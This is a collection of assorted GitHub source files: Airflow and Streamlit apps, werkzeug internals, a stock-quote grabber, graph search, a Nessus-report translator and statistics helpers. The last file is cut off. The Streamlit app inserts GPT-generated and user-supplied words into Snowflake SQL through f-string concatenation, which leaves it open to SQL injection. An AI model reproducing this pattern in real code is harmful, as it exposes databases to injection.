+{"seq_id":"41277387760","text":"\"\"\"Operator to flag anomalies in a metric batch.\"\"\"\n\nfrom typing import Sequence, Any\n\nfrom airflow.models.baseoperator import BaseOperator\nfrom airflow.providers.google.cloud.hooks.bigquery import BigQueryHook\n\n\nclass BigQueryMetricBatchAlertOperator(BaseOperator):\n \"\"\"\n Runs some sql to flag anomalies.\n\n :param alert_status_sql: sql to be executed when flagging anomalies\n :type alert_status_sql: str\n \"\"\"\n\n template_fields: Sequence[str] = [\"alert_status_sql\"]\n template_fields_renderers = {\"alert_status_sql\": \"sql\"}\n\n def __init__(self, alert_status_sql: str, **kwargs) -> None:\n super().__init__(**kwargs)\n self.alert_status_sql = alert_status_sql\n \n def execute(self, context: Any):\n\n metric_batch_name = context['params']['metric_batch_name']\n\n bigquery_hook = BigQueryHook(context['params']['gcp_connection_id'])\n\n df_alert = bigquery_hook.get_pandas_df(\n sql=self.alert_status_sql,\n dialect='standard'\n )\n df_alert = df_alert.dropna()\n df_alert['metric_timestamp'] = df_alert['metric_timestamp'].astype(str)\n\n self.log.info(f'len(df_alert)={len(df_alert)}')\n\n # push df_alert to xcom to by picked up by downstream notify task\n context['ti'].xcom_push(key=f'df_alert_{metric_batch_name}', value=df_alert.to_dict('records'))\n","repo_name":"andrewm4894/airflow-provider-anomaly-detection","sub_path":"airflow_anomaly_detection/operators/bigquery/metric_batch_alert_operator.py","file_name":"metric_batch_alert_operator.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"}
+{"seq_id":"4257922492","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC # Import dependencies\n\n# COMMAND ----------\n\nimport pandas as pd\nimport numpy as np\nimport mlflow\nimport tensorflow\nfrom tensorflow import keras\nimport mlflow.keras\nfrom sklearn.metrics import f1_score,confusion_matrix\nfrom sklearn.model_selection import train_test_split\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Retrieve Data\n\n# COMMAND ----------\n\n\npandas_df = pd.read_csv('/dbfs/FileStore/shared_uploads/blasa.matthew@yahoo.com/training_data.csv')\nX=pandas_df.iloc[:,:-1]\nY=pandas_df.iloc[:,-1]\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.33, random_state=4284, stratify=Y)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Set Experiment\n\n# COMMAND ----------\n\n\nexperiment_name = \"/Experiments/ml_flow_run_xgboost\"\nmlflow.set_experiment(experiment_name)\nmlflow.tensorflow.autolog()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Create Model\n\n# COMMAND ----------\n\n\nmodel = keras.Sequential([\n keras.layers.Dense(\n units=36,\n activation='relu',\n input_shape=(X_train.shape[-1],)\n ),\n keras.layers.BatchNormalization(),\n keras.layers.Dense(units=1, activation='sigmoid'),\n])\n\nmodel.compile(\n optimizer=keras.optimizers.Adam(lr=0.001),\n loss=\"binary_crossentropy\",\n metrics=\"Accuracy\"\n)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Run the Model\n\n# COMMAND ----------\n\nwith mlflow.start_run(run_name='keras_model_baseline') as run:\n model.fit(\n X_train,\n y_train,\n epochs=20,\n validation_split=0.05,\n shuffle=True,\n verbose=0\n )\n preds = model.predict(X_test)\n y_pred = np.where(preds>0.5,1,0)\n f1 = f1_score(y_test, y_pred)\n mlflow.log_metric(key=\"f1_experiment_score\", value=f1)\n\n\n# COMMAND ----------\n\n\n","repo_name":"mattblasa/mlegineering_mlflow","sub_path":"src/第4章/mlflow_run_keras.py","file_name":"mlflow_run_keras.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"33265437874","text":"# Snowpark\nimport snowflake.connector\nimport streamlit as st\nimport pandas as pd\nimport plotly.express as px\nimport re\nimport string\nfrom model import GeneralModel\n\n\ncovid_dict = {\n \"test positive, but don't have COVID\": 'test positive',\n \"test negative, but do have COVID\": 'test negative'\n}\n\nbank_dict = {\n \"bank places hold on credit card, but no fraud occurred\": 'credit hold',\n \"bank doesn't place a hold, but there was fraud!\": 'no-hold, but fraud!'\n}\n\nschool_dict = {\n \"Rejection letter, but it's a mistake and you were actually admitted!\": 'false rejection',\n \"Acceptance letter, but you were actually mean to be rejected!\": 'false acceptance'\n}\n\n\ndef insert_row_into_snowflake(vote_choice, table_name):\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n my_cur.execute(f\"insert into {table_name} values ('{vote_choice}')\")\n my_cnx.close()\n return\n\n\ndef grab_data_from_snowflake(table_name):\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n my_cur.execute(f\"select * from {table_name}\")\n output = pd.DataFrame(my_cur.fetchall())\n my_cnx.close()\n return output\n\n\ndef grab_and_plot_data(table_name, values):\n votes = grab_data_from_snowflake(table_name)\n if len(votes) >= 2:\n # transform votes\n counts = votes.value_counts()\n data_dict = {'choice': values, 'count': [counts[values[0]], counts[values[1]]]}\n final_df = pd.DataFrame(data_dict)\n # plot\n fig = px.pie(final_df, values='count', names='choice', title='Voting Results')\n st.plotly_chart(fig, use_container_width=True)\n else:\n st.write('waiting for votes')\n return\n\n\ndef generate_question_column(table_name, data_dict, question, num):\n col1, col2 = st.columns(2)\n with st.container():\n with col1:\n st.subheader(question)\n output = st.radio(\"Which is less desirable?\",\n tuple(data_dict.keys()))\n if not st.button('Vote', key=num):\n st.write('please vote')\n else:\n st.write(f'thanks for voting!')\n insert_row_into_snowflake(data_dict[output], table_name)\n\n with col2:\n grab_and_plot_data(table_name, values=list(data_dict.values()))\n return\n\n\ndef insert_new_words(words_list):\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n for word in words_list:\n my_cur.execute(f\"insert into gpt_words values ('{word}')\")\n my_cnx.close()\n return\n\n\ndef word_counter(new_words_list):\n insert_new_words(new_words_list)\n # grab all words and plot frequency\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n my_cur.execute(f\"select * from gpt_words\")\n word_df = pd.DataFrame(my_cur.fetchall())\n my_cnx.close()\n fig = px.histogram(word_df)\n st.plotly_chart(fig) #, use_container_width=True)\n return\n \n\ndef app():\n\n # Creating an object of prediction service\n pred = GeneralModel()\n\n api_key = st.sidebar.text_input(\"APIkey\", type=\"password\")\n \n # Add header and a subheader\n st.title('Streamlit Voting Demo')\n st.subheader(\n \"Powered by Snowpark for Python and GPT-3 | Made with Streamlit\")\n st.header(\"Vote for the situations you think are less desirable!\")\n\n tab1, tab2, tab3, tab4 = st.tabs(['COVID', 'BANK', 'SCHOOL', \"'Roll the dice!\"])\n # COVID section\n with tab1:\n question = 'Bob thinks he may have contracted COVID-19, and goes to get tested.'\n generate_question_column(\"COVID_VOTES\", covid_dict, question, 1)\n\n # Bank section\n with tab2:\n question = 'ABC Bank monitors credit card usage to detect any fraudulent activity.'\n generate_question_column(\"BANK_VOTES\", bank_dict, question, 2)\n\n # SCHOOL section\n with tab3:\n question = \"It's your senior year of highschool and you recieve an admissions letter from your dream school.\"\n generate_question_column(\"SCHOOL_VOTES\", school_dict, question, 3)\n \n # GPT-3 Section\n with tab4:\n # Using the streamlit cache\n @st.cache\n def process_prompt(input):\n\n return pred.model_prediction(input=input.strip() , api_key=api_key)\n\n if api_key:\n\n # Setting up the Title\n st.title(\"Write a poem based on these words\")\n\n # st.write(\"---\")\n\n s_example = \"Birds, flowers, love, sun\"\n input = st.text_area(\n \"Use the example below or input your own text in English\",\n value=s_example,\n max_chars=150,\n height=100,\n )\n\n if st.button(\"Submit\"):\n with st.spinner(text=\"In progress\"):\n report_text = process_prompt(input)\n st.markdown(report_text)\n word_list = re.sub('['+string.punctuation+']', '', report_text.lower()).split()\n # remove specified words\n spec_words = re.sub('['+string.punctuation+']', '', input.lower()).split()\n for word in spec_words:\n word_list.remove(word)\n word_counter(word_list)\n \n \n else:\n st.error(\"🔑 Please enter API Key\")\n","repo_name":"rmorton8/streamlit-gpt-voting","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"72110921549","text":"from __future__ import annotations\n\nimport logging\nimport re\nimport sys\nimport typing as t\nfrom datetime import datetime\nfrom datetime import timezone\n\nif t.TYPE_CHECKING:\n from _typeshed.wsgi import WSGIEnvironment\n from .wrappers.request import Request\n\n_logger: logging.Logger | None = None\n\n\nclass _Missing:\n def __repr__(self) -> str:\n return \"no value\"\n\n def __reduce__(self) -> str:\n return \"_missing\"\n\n\n_missing = _Missing()\n\n\ndef _wsgi_decoding_dance(s: str) -> str:\n return s.encode(\"latin1\").decode(errors=\"replace\")\n\n\ndef _wsgi_encoding_dance(s: str) -> str:\n return s.encode().decode(\"latin1\")\n\n\ndef _get_environ(obj: WSGIEnvironment | Request) -> WSGIEnvironment:\n env = getattr(obj, \"environ\", obj)\n assert isinstance(\n env, dict\n ), f\"{type(obj).__name__!r} is not a WSGI environment (has to be a dict)\"\n return env\n\n\ndef _has_level_handler(logger: logging.Logger) -> bool:\n \"\"\"Check if there is a handler in the logging chain that will handle\n the given logger's effective level.\n \"\"\"\n level = logger.getEffectiveLevel()\n current = logger\n\n while current:\n if any(handler.level <= level for handler in current.handlers):\n return True\n\n if not current.propagate:\n break\n\n current = current.parent # type: ignore\n\n return False\n\n\nclass _ColorStreamHandler(logging.StreamHandler):\n \"\"\"On Windows, wrap stream with Colorama for ANSI style support.\"\"\"\n\n def __init__(self) -> None:\n try:\n import colorama\n except ImportError:\n stream = None\n else:\n stream = colorama.AnsiToWin32(sys.stderr)\n\n super().__init__(stream)\n\n\ndef _log(type: str, message: str, *args: t.Any, **kwargs: t.Any) -> None:\n \"\"\"Log a message to the 'werkzeug' logger.\n\n The logger is created the first time it is needed. If there is no\n level set, it is set to :data:`logging.INFO`. If there is no handler\n for the logger's effective level, a :class:`logging.StreamHandler`\n is added.\n \"\"\"\n global _logger\n\n if _logger is None:\n _logger = logging.getLogger(\"werkzeug\")\n\n if _logger.level == logging.NOTSET:\n _logger.setLevel(logging.INFO)\n\n if not _has_level_handler(_logger):\n _logger.addHandler(_ColorStreamHandler())\n\n getattr(_logger, type)(message.rstrip(), *args, **kwargs)\n\n\n@t.overload\ndef _dt_as_utc(dt: None) -> None:\n ...\n\n\n@t.overload\ndef _dt_as_utc(dt: datetime) -> datetime:\n ...\n\n\ndef _dt_as_utc(dt: datetime | None) -> datetime | None:\n if dt is None:\n return dt\n\n if dt.tzinfo is None:\n return dt.replace(tzinfo=timezone.utc)\n elif dt.tzinfo != timezone.utc:\n return dt.astimezone(timezone.utc)\n\n return dt\n\n\n_TAccessorValue = t.TypeVar(\"_TAccessorValue\")\n\n\nclass _DictAccessorProperty(t.Generic[_TAccessorValue]):\n \"\"\"Baseclass for `environ_property` and `header_property`.\"\"\"\n\n read_only = False\n\n def __init__(\n self,\n name: str,\n default: _TAccessorValue | None = None,\n load_func: t.Callable[[str], _TAccessorValue] | None = None,\n dump_func: t.Callable[[_TAccessorValue], str] | None = None,\n read_only: bool | None = None,\n doc: str | None = None,\n ) -> None:\n self.name = name\n self.default = default\n self.load_func = load_func\n self.dump_func = dump_func\n if read_only is not None:\n self.read_only = read_only\n self.__doc__ = doc\n\n def lookup(self, instance: t.Any) -> t.MutableMapping[str, t.Any]:\n raise NotImplementedError\n\n @t.overload\n def __get__(\n self, instance: None, owner: type\n ) -> _DictAccessorProperty[_TAccessorValue]:\n ...\n\n @t.overload\n def __get__(self, instance: t.Any, owner: type) -> _TAccessorValue:\n ...\n\n def __get__(\n self, instance: t.Any | None, owner: type\n ) -> _TAccessorValue | _DictAccessorProperty[_TAccessorValue]:\n if instance is None:\n return self\n\n storage = self.lookup(instance)\n\n if self.name not in storage:\n return self.default # type: ignore\n\n value = storage[self.name]\n\n if self.load_func is not None:\n try:\n return self.load_func(value)\n except (ValueError, TypeError):\n return self.default # type: ignore\n\n return value # type: ignore\n\n def __set__(self, instance: t.Any, value: _TAccessorValue) -> None:\n if self.read_only:\n raise AttributeError(\"read only property\")\n\n if self.dump_func is not None:\n self.lookup(instance)[self.name] = self.dump_func(value)\n else:\n self.lookup(instance)[self.name] = value\n\n def __delete__(self, instance: t.Any) -> None:\n if self.read_only:\n raise AttributeError(\"read only property\")\n\n self.lookup(instance).pop(self.name, None)\n\n def __repr__(self) -> str:\n return f\"<{type(self).__name__} {self.name}>\"\n\n\n_plain_int_re = re.compile(r\"-?\\d+\", re.ASCII)\n\n\ndef _plain_int(value: str) -> int:\n \"\"\"Parse an int only if it is only ASCII digits and ``-``.\n\n This disallows ``+``, ``_``, and non-ASCII digits, which are accepted by ``int`` but\n are not allowed in HTTP header values.\n\n Any leading or trailing whitespace is stripped\n \"\"\"\n value = value.strip()\n if _plain_int_re.fullmatch(value) is None:\n raise ValueError\n\n return int(value)\n","repo_name":"pallets/werkzeug","sub_path":"src/werkzeug/_internal.py","file_name":"_internal.py","file_ext":"py","file_size_in_byte":5542,"program_lang":"python","lang":"en","doc_type":"code","stars":6451,"dataset":"github-code","pt":"82"}
+{"seq_id":"41674716812","text":"import requests\r\nimport os\r\nimport easyquotation\r\n# os.environ['NO_PROXY'] = 'hq.sinajs.cn'\r\n\r\nclass Price_Grabber(object):\r\n def __init__(self):\r\n self.interface_name = 'tencent'\r\n self.quotation = easyquotation.use(self.interface_name) # 新浪 ['sina'] 腾讯 ['tencent', 'qq']\r\n # self.interface_url = 'http://hq.sinajs.cn/list='\r\n\r\n def grab(self, stocks_code):\r\n stocks_dict = self.quotation.real(stocks_code)\r\n # url = self.interface_url + stock_code\r\n # r = requests.get(url)\r\n return self.parse_dict(stocks_dict)\r\n\r\n def parse_dict(self, stocks_dict):\r\n # print(stocks_dict)\r\n res_dicts = []\r\n for code in stocks_dict:\r\n single_stock_dict = stocks_dict[code]\r\n stock_name = single_stock_dict['name']\r\n if code[0] in ['5', '1']:\r\n price_s = '%.3f' % single_stock_dict['now']\r\n else:\r\n price_s = '%.2f' % single_stock_dict['now']\r\n if self.interface_name == 'tencent':\r\n ratio_s = '%.2f%%' % single_stock_dict['涨跌(%)']\r\n else:\r\n ratio_f = (single_stock_dict['now'] - single_stock_dict['close']) / single_stock_dict['close'] * 100.0\r\n ratio_s = '%.2f%%' % ratio_f\r\n high_ratio = (single_stock_dict['high'] - single_stock_dict['close']) / single_stock_dict['close'] * 100.0\r\n high_ratio_s = '%.2f%%' % high_ratio\r\n low_ratio = (single_stock_dict['low'] - single_stock_dict['close']) / single_stock_dict['close'] * 100.0\r\n low_ratio_s = '%.2f%%' % low_ratio\r\n if self.interface_name == 'tencent':\r\n current_date = str(single_stock_dict['datetime'].date())\r\n current_time = str(single_stock_dict['datetime'].time())\r\n else:\r\n current_date = single_stock_dict['date']\r\n current_time = single_stock_dict['time']\r\n res_dict = dict(stock_name=stock_name, ratio=ratio_s, current_price=price_s,\r\n today_high=high_ratio_s, today_low=low_ratio_s,\r\n current_date=current_date, current_time=current_time)\r\n res_dicts.append(res_dict)\r\n return res_dicts\r\n\r\n def parse_text(self, text: str):\r\n try:\r\n left_start_idx = text.index('=\"') + 2\r\n ts_code_idx = left_start_idx - 8\r\n ts_code = text[ts_code_idx:ts_code_idx+6]\r\n info_text = text[left_start_idx:]\r\n s_texts = info_text.split(',')\r\n last_day_price_f = float(s_texts[2])\r\n current_price_f = float(s_texts[3])\r\n if ts_code[0] in ['5', '1']:\r\n price_s = '%.3f' % current_price_f\r\n else:\r\n price_s = '%.2f' % current_price_f\r\n ratio = (current_price_f - last_day_price_f) / last_day_price_f * 100\r\n ratio_s = '%.2f%%' % ratio\r\n today_high_ratio = (float(s_texts[4]) - last_day_price_f) / last_day_price_f * 100\r\n high_ratio_s = '%.2f%%' % today_high_ratio\r\n today_low_ratio = (float(s_texts[5]) - last_day_price_f) / last_day_price_f * 100\r\n low_ratio_s = '%.2f%%' % today_low_ratio\r\n res_dict = dict(stock_name=s_texts[0], ratio=ratio_s, current_price=price_s,\r\n today_high=high_ratio_s, today_low=low_ratio_s,\r\n current_date=s_texts[30], current_time=s_texts[31])\r\n except:\r\n print(text)\r\n res_dict = dict(stock_name='Error', ratio=\"No\", current_price='data',\r\n today_high='returned', today_low='Check',\r\n current_date='request', current_time='text')\r\n return res_dict\r\n\r\n\r\nif __name__ == '__main__':\r\n pg = Price_Grabber()\r\n dict = pg.grab(['sz000001', 'sh600000'])\r\n print(dict)\r\n","repo_name":"inSight-mk1/ssimple_stock_viewer","sub_path":"price_grabber.py","file_name":"price_grabber.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"72182677068","text":"class SimpleGraph:\n def __init__(self):\n self.edges = {}\n \n def neighbors(self, id):\n return self.edges[id]\n\n\nimport collections\n\nclass Queue:\n def __init__(self):\n self.elements = collections.deque()\n \n def empty(self):\n return len(self.elements) == 0\n \n def put(self, x):\n self.elements.append(x)\n \n def get(self):\n return self.elements.popleft()\n\n\ndef breadth_first_search(graph, start):\n # print out what we find\n open_list = Queue()\n open_list.put(start)\n visited = {}\n visited[start] = True\n \n while not open_list.empty():\n current = open_list.get()\n print(\"Visiting %r\" % current)\n for next in graph.neighbors(current):\n if next not in visited:\n open_list.put(next)\n visited[next] = True\n\n\n\nif __name__ == '__main__':\n\texample_graph = SimpleGraph()\n\texample_graph.edges = {\n \t'A': ['B'],\n \t'B': ['A', 'C', 'D'],\n \t'C': ['A'],\n \t'D': ['E', 'A'],\n \t'E': ['B']\n\t}\n\tbreadth_first_search(example_graph, 'A')","repo_name":"starkblaze01/Algorithms-Cheatsheet-Resources","sub_path":"Python/bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":334,"dataset":"github-code","pt":"82"}
+{"seq_id":"7798352452","text":"from collections import OrderedDict\r\n\r\ndef get_input():\r\n n = int(input())\r\n\r\n psw_text_pair = OrderedDict()\r\n\r\n for i in range(n):\r\n m = int(input())\r\n psw = tuple(input().split()[0:m])\r\n text = input()\r\n psw_text_pair[psw] = text\r\n\r\n if i != n-1:\r\n input()\r\n\r\n return psw_text_pair\r\n\r\ndef calc_psw(keys):\r\n positions = []\r\n for k in keys:\r\n a, b = 0, 0\r\n for i, char in enumerate(k):\r\n a += ord(char) & 2**i\r\n tmpb = ord(char) >> ((i+3)%6)\r\n tmpb = tmpb & 1\r\n b += tmpb * (2**i)\r\n\r\n positions.append(a)\r\n positions.append(b)\r\n\r\n return positions\r\n\r\ndef find_code(psw_text_pair):\r\n for k, v in psw_text_pair.items():\r\n positions = calc_psw(k)\r\n for pos in positions:\r\n print(v[pos], end='')\r\n print()\r\n\r\ndef main():\r\n find_code(get_input())\r\n\r\nif __name__ == '__main__':\r\n # http://www.spoj.com/problems/HS12HDPW\r\n main()\r\n","repo_name":"chao98/Python","sub_path":"SPOJ/SPOJ12206.py","file_name":"SPOJ12206.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"17429488578","text":"import sqlite3\nimport csv\nimport sys\n\nimport unicodecsv as u_csv\n\n\ndef import_and_export():\n resultname = filename.replace('.csv', '') + '_translation.csv'\n with open(resultname, 'wb') as nf:\n w = u_csv.writer(nf, encoding='GBK')\n with open(filename, 'r', encoding='UTF-8') as of:\n reader = csv.reader(of)\n first = 1\n for row in reader:\n if first:\n w.writerow(row)\n first = 0\n else:\n try:\n if translate(row[0]) is not None:\n name, description, solution = translate(row[0])\n w.writerow([row[0], row[1], row[2], row[3], row[4], row[5], row[6], name, row[8],\n description, solution, row[11], row[12]])\n else:\n w.writerow(row)\n except:\n print(\"报错ID:\"+row[0])\n \n\ndef translate(plugin_id):\n conn = sqlite3.connect(\"vulLib.db\")\n conn.text_factory = lambda x: str(x, 'gbk', 'ignore')\n cursor = conn.cursor()\n for row in cursor.execute(\"select * from VULNDB where Plugin_ID=?\", (plugin_id,)):\n if row is not None:\n return row[1], row[3], row[4]\n else:\n return None\n\n\nif __name__ == '__main__':\n filename = sys.argv[1]\n print('请耐心等待!')\n import_and_export()\n print('翻译结束!')\n","repo_name":"Largemage/nessus-report-translater","sub_path":"translater.py","file_name":"translater.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"9141700963","text":"\n\nimport os, sys\nimport numpy as np\nfrom IPython import embed\nfrom collections import defaultdict\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\nfilenames = [ 'idtmp_regrasp_010_500.log', 'idtmp_regrasp_005_500.log']\n# filenames = [ 'idtmp_regrasp_010_fc_500.log', 'idtmp_regrasp_010_500.log', 'idtmp_regrasp_005_500.log', 'idtmp_regrasp_005_fc_500.log']\ndata_pd = defaultdict(list)\n# data_pd_010 = defaultdict(list)\n\nfor filename in filenames:\n if os.path.exists('tmp.txt'):\n os.remove('tmp.txt')\n os.system(f'grep -i \"motion refine failed\\|task and motion plan found\\|current task plan is infeasible\\|current task plan is feasible\" {filename} >> tmp.txt')\n\n with open('tmp.txt', 'r') as f:\n mp_times = []\n fc_times = []\n\n mp_num = 0\n fc_num = 0\n pointer = 0\n for line in f:\n # print(line)\n if 'current task plan is infeasible' in line:\n fc_num += 1\n if 'fc' in filename and 'current task plan is feasible' in line:\n mp_num += 1\n if 'fc' not in filename and 'motion refine failed' in line:\n mp_num += 1\n if 'task and motion plan found' in line:\n if mp_num==0:\n continue\n if '005' in filename:\n data_pd['mp_times'].append(mp_num)\n data_pd['resolution'].append('idtmp_005')\n\n if 'fc' in filename:\n data_pd['feasible_check'].append('yes')\n else:\n data_pd['feasible_check'].append('no')\n\n if '010' in filename:\n data_pd['mp_times'].append(mp_num)\n data_pd['resolution'].append('idtmp_010')\n\n mp_times.append(mp_num)\n fc_times.append(fc_num+mp_num)\n mp_num = 0\n fc_num = 0\n\ndata_pd = pd.DataFrame(data_pd)\n\nmedianprops = dict(markerfacecolor='r', color='r')\nmax_y = max(data_pd['mp_times']) * 1.1\n\n# Initialize the figure with a logarithmic x axis\nf, ax = plt.subplots(figsize=(5, 6))\n# ax.set_title(\"total planning time\", fontdict=dict(fontsize=20))\n# Plot the orbital period with horizontal boxes\n# hue='feasible_check',\nsns.boxplot(x=\"resolution\", y='mp_times', data=data_pd, orient=\"v\", \n linewidth=1, medianprops=medianprops, whis=5, width=0.5,\n fliersize=0, color=[1,1,1])\n\nax.set_ylabel(\"motion planner calling\", fontdict=dict(fontsize=14))\nax.set_xlabel(\"\", fontdict=dict(fontsize=14))\n\nax.set_ylim([0,max_y])\nxlabels = ['idtmp_010','idtmp_005']\nax.set_xticklabels(xlabels, fontdict=dict(fontsize=14))\nax.tick_params(labelrotation=30)\nplt.tight_layout()\n# sns.despine(trim=True, left=True)\n# plt.savefig(\"total_planning_time_idtmp_fc.pdf\")\nplt.show()\n\n","repo_name":"Drrreistein/idtmp-py","sub_path":"examples/Darias/TASK_regrasp/log2/plot_mp_time.py","file_name":"plot_mp_time.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"42456409465","text":"from vizualization import Visualizer\nfrom datasets import get_datamodule\nfrom configs import get_config\n\nif __name__ == \"__main__\":\n\n\n DATASET = \"waymo\"\n ITER_OVER = \"test\"\n\n cfg = get_config(\"../configs/models/slim.yaml\", dataset=DATASET)\n data_module = get_datamodule(name=DATASET, data_path=None, cfg=cfg)\n data_module.setup()\n\n if ITER_OVER == \"train\":\n dl = data_module.train_dataloader()\n elif ITER_OVER == \"test\":\n dl = data_module.test_dataloader()\n else:\n raise ValueError()\n\n dl.num_workers = 0\n\n # Model\n # Loading config\n #cfg = get_config(\"../configs/slim.yaml\", dataset=\"waymo\")\n #model = SLIM(config=cfg, dataset=\"waymo\")\n #model = model.load_from_checkpoint(\"../models/waymo12k.ckpt\")\n # Wrap the dataloader into visualizer\n dl = Visualizer(dl, visualize=\"seg3d\", model=None)\n\n for idx, (x, flow, T_gt) in enumerate(dl):\n continue\n\n","repo_name":"simonpokorny/MotionFeatureLearning","sub_path":"scripts/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40588919835","text":"# -*- coding: utf-8 -*-\n# by xieshichang\n# modified from packages.statistical.twogroup_CI\n# and packages.statistical.mul_posthoc\nimport math\nimport scipy\nimport itertools\nimport pandas as pd\nfrom scipy.stats.distributions import t\nfrom numpy import mean\nfrom collections import Counter\nfrom mbio.packages.statistical.QTable import QTable\n\n\ndef group_detail(groupfile, get_member=False, mul=False):\n group = pd.read_csv(groupfile, sep='\\t', header=None, comment='#')\n\n group_num = Counter(group[1])\n \n if mul:\n N = len(group[1]) # 样本的个数\n g_num = len(group_num) # 分组的个数\n dfN = g_num - 1\n dfD = N - g_num\n return N, dfN, dfD, group_num\n\n if not get_member:\n return group_num\n\n group_member = {}\n for gname in group_num:\n group_member[gname] = list(group[group[1] == gname][0])\n return group_num, group_member\n\n\ndef stat_info(statfile, gnames):\n stat = pd.read_csv(statfile, sep='\\t', index_col=0)\n mean_dict = {}\n sd_dict = {}\n taxon_list = stat.index\n\n for gname in gnames:\n gmean = gname + '-mean'\n gsd = gname + '-sd'\n mean_dict[gname] = stat[gmean]\n sd_dict[gname] = stat[gsd]\n\n return mean_dict, sd_dict, taxon_list\n\n\ndef student(statfile, groupfile, coverage):\n group_num_dict = group_detail(groupfile)\n gnames = sorted(group_num_dict.keys())\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n\n with open('student_CI.xls', 'w') as w:\n w.write('\\teffectsize\\tlowerCI\\tupperCI\\n')\n for tx in taxon_list:\n meanG1 = mean_dict[gnames[0]][tx]\n meanG2 = mean_dict[gnames[1]][tx]\n dp = meanG1 - meanG2\n varG1 = (sd_dict[gnames[0]][tx]**2)\n varG2 = (sd_dict[gnames[1]][tx]**2)\n n1 = group_num_dict[gnames[0]]\n n2 = group_num_dict[gnames[1]]\n\n dof = n1 + n2 - 2\n pooledVar = ((n1 - 1)*varG1 + (n2 - 1)*varG2) / dof\n sqrtPooledVar = math.sqrt(pooledVar)\n denom = sqrtPooledVar * math.sqrt(1.0/n1 + 1.0/n2)\n tCritical = t.isf(0.5 * (1.0-coverage), dof)\n lowerCI = dp - tCritical*denom\n upperCI = dp + tCritical*denom\n\n w.write('{}\\t{}\\t{}\\t{}\\n'.format(tx, dp, lowerCI, upperCI))\n\n\ndef welch(statfile, groupfile, coverage):\n group_num_dict = group_detail(groupfile)\n gnames = sorted(group_num_dict.keys())\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n\n with open('welch_CI.xls', 'w') as w:\n w.write('\\teffectsize\\tlowerCI\\tupperCI\\n')\n for tx in taxon_list:\n meanG1 = mean_dict[gnames[0]][tx]\n meanG2 = mean_dict[gnames[1]][tx]\n dp = meanG1 - meanG2\n varG1 = (sd_dict[gnames[0]][tx]**2)\n varG2 = (sd_dict[gnames[1]][tx]**2)\n n1 = group_num_dict[gnames[0]]\n n2 = group_num_dict[gnames[1]]\n\n normVarG1 = varG1 / n1\n normVarG2 = varG2 / n2\n unpooledVar = normVarG1 + normVarG2\n sqrtUnpooledVar = math.sqrt(unpooledVar)\n dof = (unpooledVar**2) / ((normVarG1**2) /\n (n1-1) + (normVarG2**2)/(n2-1))\n tCritical = t.isf(0.5 * (1.0 - coverage), dof)\n lowerCI = dp - tCritical*sqrtUnpooledVar\n upperCI = dp + tCritical*sqrtUnpooledVar\n w.write('{}\\t{}\\t{}\\t{}\\n'.format(tx, dp, lowerCI, upperCI))\n\n\ndef bootstrap(intable, groupfile, coverage):\n group_num_dict, group_member_dict = group_detail(\n groupfile, get_member=True)\n gnames = sorted(group_num_dict.keys())\n intable = pd.read_csv(intable, sep='\\t', index_col=0)\n\n profile = (intable + 0.0) / intable.sum()\n\n scipy.random.seed(1234)\n with open('mann_CI.xls', 'w') as w:\n w.write('\\teffectsize\\tlowerCI\\tupperCI\\n')\n for index in profile.index:\n distribution = []\n for _ in xrange(0, 999):\n samplesGroup = {}\n for gname in gnames:\n sampleSize = group_num_dict[gname]\n samples = group_member_dict[gname]\n choices = scipy.random.randint(0, sampleSize, sampleSize)\n samplesGroup[gname] = profile.loc[index, samples][choices]\n diffOfMeanProp = samplesGroup[gnames[0]].mean() -\\\n samplesGroup[gnames[1]].mean()\n distribution.append(diffOfMeanProp*100)\n dp = profile.loc[index, group_member_dict[gnames[0]]].mean() -\\\n profile.loc[index, group_member_dict[gnames[1]]].mean()\n distribution.sort()\n dp *= 100\n lowerCI = distribution[max(\n 0, int(math.floor(0.5*(1.0-coverage)*len(distribution))))]\n upperCI = distribution[min(\n len(distribution) - 1,\n int(math.ceil((coverage+0.5*(1.0-coverage))*len(distribution)))\n )]\n w.write('{}\\t{}\\t{}\\t{}\\n'.format(index, dp, lowerCI, upperCI))\n\n\n# 多组posthoc test计算CI\ndef scheffe(statfile, groupfile, coverage, outfile):\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n 